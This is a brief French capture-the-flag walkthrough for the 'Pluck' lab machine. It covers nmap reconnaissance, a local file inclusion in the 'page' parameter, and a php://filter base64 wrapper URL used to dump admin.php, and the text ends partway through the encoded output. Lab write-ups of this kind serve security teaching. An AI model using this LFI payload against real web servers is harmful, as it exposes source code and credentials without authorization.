**Pluck - Write Up** __Reconnaissance__ nmap -sS -A 192.168.43.99 PORT STATE SERVICE VERSION 22/tcp open ssh (protocol 2.0) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) 3306/tcp open mysql MySQL (unauthorized) __Exploitation web__ {{ :vm:pluck.png?nolink |}} On repère rapidement une LFI dans la variable **page**. On récupère la page admin.php avec un wrapper : http://192.168.43.99/index.php?page=php://filter/read=convert.base64-encode/resource=admin.php {{ :vm:wrapper_pluck.png?nolink |}} On décode le base64 du résultat : echo 'PD9waHAKaW5jbHVkZSgiaGVhZGVyLnBocCIpOwoKZWNobyAiPGJyPjxicj48YnI+IjsKaWYgKCRfUE9TVCl7CmVjaG8gJwo8YnI+PGJyPgo8ZGl2IGNsYXNzPSJjb250YWluZXIiPgogICAgPGRpdiBjbGFzcz0icm93Ij4KICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtbWQtOCBjb2wtbWQtb2Zmc2V0LTIiPgoKPGRpdiBjbGFzcz0iYWxlcnQgYWxlcnQtZGFuZ2VyIiByb2xlPSJhbGVydCI+JzsKIAppZihzdHJwb3MoJF9QT1NUWydlbWFpbCddLCAnXCcnKSAhPT0gZmFsc2UpIHsKCWVjaG8gICI8c3Ryb25nPllvdSBoYXZlIGFuIGVycm9yIGluIHlvdXIgU1FMIHN5bnRheDsgY2hlY2sgdGhlIG1hbnVhbCB0aGF0IGNvcnJlc3BvbmRzIHRvIHlvdXIgTXlTUUwgc2VydmVyIHZlcnNpb24gZm9yIHRoZSByaWdodCBzeW50YXggdG8gdXNlIG5lYXIgJycnIGF0IGxpbmUgNjwvc3Ryb25nPiI7Cn1lbHNlewoJZWNobyAgIjxzdHJvbmc+SW5jb3JyZWN0IFVzZXJuYW1lIG9yIFBhc3N3b3JkITwvc3Ryb25nPiI7Cn0KPz4KPC9kaXY+CjwvZGl2Pgo8L2Rpdj4KPC9kaXY+Cjw/cGhwCn0KPz4KPGJyPgo8ZGl2IGNsYXNzPSJjb250YWluZXIiPgogICAg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